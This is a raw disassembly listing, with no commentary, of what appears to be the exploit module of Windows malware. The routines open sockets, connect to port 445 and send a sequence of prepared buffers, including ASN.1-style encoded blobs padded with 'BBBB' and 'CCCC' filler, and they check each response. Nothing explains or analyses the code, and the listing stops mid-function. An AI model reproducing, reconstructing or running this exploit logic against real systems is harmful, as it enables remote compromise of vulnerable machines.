		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_4250C4
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40388B:				; CODE XREF: sub_40384C+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40388B
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_425B10
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4155D0
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_4155D0
		mov	ax, word ptr ds:dword_438FB0
		add	esp, 2Ch
		push	eax
		call	ds:dword_43A388
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_425810
		call	sub_4155D0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403A48
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_425F38[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_4155D0
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_4250BC
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_4155D0
		add	esp, 40h
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_403A01:				; CODE XREF: sub_40384C+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_403A01
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415570
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415570
		add	esp, 18h
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------


loc_403A48:				; CODE XREF: sub_40384C+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415570
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_4155D0
		mov	eax, ds:dword_425F38
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_403A9F:				; CODE XREF: sub_40384C+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415570
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403ADE


loc_403AD7:				; CODE XREF: sub_40384C+2B9j
					; sub_40384C+2E0j ...
		xor	al, al
		jmp	loc_403C86
; ---------------------------------------------------------------------------


loc_403ADE:				; CODE XREF: sub_40384C+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A3A0
		push	ebx
		push	68h
		push	offset dword_425B74
		push	edi
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A3A0
		push	ebx
		push	0A0h
		push	offset dword_425BE0
		push	edi
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A3A0
		cmp	[ebp+arg_C0], ebx
		jz	loc_403BF4
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_425D98
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_4155D0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_425E04
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_4155D0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_425E78
		push	eax
		call	sub_4155D0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A3A0
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403C4A
; ---------------------------------------------------------------------------


loc_403BF4:				; CODE XREF: sub_40384C+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_425C84
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_4155D0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_425D04
		push	eax
		call	sub_4155D0
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403C4A:				; CODE XREF: sub_40384C+3A6j
		push	eax
		push	edi
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	12Ch
		call	ds:dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4036EB
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403C86:				; CODE XREF: sub_40384C+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40384C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8B	proc near		; CODE XREF: seg000:00402FC3p
					; seg000:00403E78p ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_41409A
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	ds:dword_43A3C8
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	ds:dword_43A388
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	ds:dword_43A408
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403D93
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A330
		cmp	eax, 0FFFFFFFFh
		jz	loc_403D93
		push	edi
		push	89h
		push	offset dword_4258F8
		push	ebx
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		push	edi
		push	0A8h
		push	offset dword_425984
		push	ebx
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		push	edi
		push	0DEh
		push	offset dword_425A30
		push	ebx
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A3A0
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_403D9D
		dec	eax
		jz	short loc_403D9A


loc_403D93:				; CODE XREF: sub_403C8B+63j
					; sub_403C8B+79j ...
		xor	eax, eax
		jmp	loc_403E37
; ---------------------------------------------------------------------------


loc_403D9A:				; CODE XREF: sub_403C8B+106j
		push	edi
		jmp	short loc_403DC1
; ---------------------------------------------------------------------------


loc_403D9D:				; CODE XREF: sub_403C8B+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jnz	short loc_403DE1
		push	1


loc_403DC1:				; CODE XREF: sub_403C8B+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jz	short loc_403DE8


loc_403DE1:				; CODE XREF: sub_403C8B+132j
		mov	[ebp+var_4], 1


loc_403DE8:				; CODE XREF: sub_403C8B+154j
		push	ebx
		call	ds:dword_43A420
		cmp	[ebp+var_4], 0
		jz	short loc_403E34
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4E
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427328[eax]
		lea	eax, dword_427328[eax]


loc_403E34:				; CODE XREF: sub_403C8B+168j
		push	1
		pop	eax


loc_403E37:				; CODE XREF: sub_403C8B+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C8B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402DDD
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403E8D
		test	eax, eax
		jz	short loc_403E90


loc_403E8D:				; CODE XREF: seg000:00403E87j
		push	1
		pop	eax


loc_403E90:				; CODE XREF: seg000:00403E8Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403E94	proc near		; CODE XREF: sub_404108+Ep
					; sub_404108+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403E94	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E9E	proc near		; CODE XREF: sub_404108+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403ED0
		push	ebx
		push	0
		push	edi
		call	sub_415570
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4155D0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403ED0:				; CODE XREF: sub_403E9E+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED8	proc near		; CODE XREF: sub_403FD2+18p
					; sub_40404C+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_403F24
		push	edi
		push	0
		push	esi
		call	sub_415570
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4155D0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_403F24:				; CODE XREF: sub_403ED8+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2D	proc near		; CODE XREF: sub_403FD2+5Ep
					; sub_403FD2+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403F3D
		push	eax
		call	sub_415E3D
		pop	ecx


loc_403F3D:				; CODE XREF: sub_403F2D+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403F2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F46	proc near		; CODE XREF: sub_403FD2+20p
					; sub_4040AD+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_403F73
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403F77


loc_403F73:				; CODE XREF: sub_403F46+Dj
		xor	al, al
		jmp	short loc_403FCE
; ---------------------------------------------------------------------------


loc_403F77:				; CODE XREF: sub_403F46+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_415570
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403F9C
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_403FB6
; ---------------------------------------------------------------------------


loc_403F9C:				; CODE XREF: sub_403F46+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_403FB6:				; CODE XREF: sub_403F46+54j
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415E3D
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403FCE:				; CODE XREF: sub_403F46+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FD2	proc near		; CODE XREF: sub_404108+89p
					; sub_404108+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_438FC4
		call	sub_403ED8
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40400C
		xor	al, al
		jmp	short loc_404048
; ---------------------------------------------------------------------------


loc_40400C:				; CODE XREF: sub_403FD2+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415570
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4155D0
		add	esp, 18h
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403F2D
		mov	al, 1


loc_404048:				; CODE XREF: sub_403FD2+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40404C	proc near		; CODE XREF: sub_404080+14p
					; sub_40409D+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40404C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404080	proc near		; CODE XREF: sub_404108+F0p
					; sub_404108+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_415CF0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40404C
		pop	esi
		retn	4
sub_404080	endp


; =============== S U B	R O U T	I N E =======================================



sub_40409D	proc near		; CODE XREF: sub_4040E9+Bp
					; sub_404108+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40404C
		retn	8
sub_40409D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040AD	proc near		; CODE XREF: sub_4040E9+16p
					; sub_404108+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_403F46
		test	al, al
		jz	short loc_4040E6
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4263DB+1)
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_4040E6:				; CODE XREF: sub_4040AD+Fj
		pop	esi
		leave
		retn
sub_4040AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4040E9	proc near		; CODE XREF: sub_404108+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40409D
		test	al, al
		jz	short loc_404104
		mov	ecx, esi
		call	sub_4040AD


loc_404104:				; CODE XREF: sub_4040E9+12j
		pop	esi
		retn	8
sub_4040E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404108	proc near		; CODE XREF: seg000:0040498Dp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403E94
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40445C
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40445C
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403E94
		lea	ecx, [ebp+var_20]
		call	sub_403E94
		lea	ecx, [ebp+var_50]
		call	sub_403E94
		lea	ecx, [ebp+var_18]
		call	sub_403E94
		lea	ecx, [ebp+var_40]
		call	sub_403E94
		lea	ecx, [ebp+var_38]
		call	sub_403E94
		lea	ecx, [ebp+var_28]
		call	sub_403E94
		push	4
		push	offset dword_42607C
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		push	3
		push	offset dword_426084
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		lea	ecx, [ebp+var_30]
		call	sub_403FD2
		lea	ecx, [ebp+var_30]
		call	sub_4040AD
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40404C
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40404C
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_20]
		call	sub_403FD2
		push	offset loc_426404
		lea	ecx, [ebp+var_50]
		call	sub_404080
		lea	ecx, [ebp+var_50]
		call	sub_403FD2
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403E9E
		lea	ecx, [ebp+var_58]
		call	sub_403FD2
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4040E9
		lea	ecx, [ebp+var_58]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_404080
		push	4
		push	offset dword_426088
		lea	ecx, [ebp+var_18]
		call	sub_40404C
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40404C
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_18]
		call	sub_403FD2
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40409D
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40409D
		lea	ecx, [ebp+var_40]
		call	sub_4040AD
		lea	ecx, [ebp+var_18]
		call	sub_403F2D
		lea	ecx, [ebp+var_50]
		call	sub_403F2D
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40409D
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40409D
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40409D
		lea	ecx, [ebp+var_38]
		call	sub_4040AD
		lea	ecx, [ebp+var_20]
		call	sub_403F2D
		lea	ecx, [ebp+var_30]
		call	sub_403F2D
		lea	ecx, [ebp+var_40]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_28]
		call	sub_403FD2
		push	2
		push	offset dword_4263F8
		lea	ecx, [ebp+var_28]
		call	sub_40404C
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40409D
		lea	ecx, [ebp+var_28]
		call	sub_4040AD
		lea	ecx, [ebp+var_38]
		call	sub_403F2D
		lea	ecx, [ebp+var_10]
		call	sub_403E94
		lea	ecx, [ebp+var_8]
		call	sub_403E94
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_28]
		call	sub_403F2D
		push	offset dword_4263F4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263F0
		lea	ecx, [ebp+var_10]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		push	offset dword_4263E4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263E0
		lea	ecx, [ebp+var_48]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40446A
; ---------------------------------------------------------------------------


loc_40445C:				; CODE XREF: sub_404108+1Bj
					; sub_404108+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40446A:				; CODE XREF: sub_404108+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_404108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_404532+A1p
					; sub_404532+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_4211D0	; select
		cmp	eax, edi
		jnz	short loc_4044D5
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_420106	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4044D9


loc_4044D5:				; CODE XREF: sub_40446E+54j
		xor	eax, eax
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044D9:				; CODE XREF: sub_40446E+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
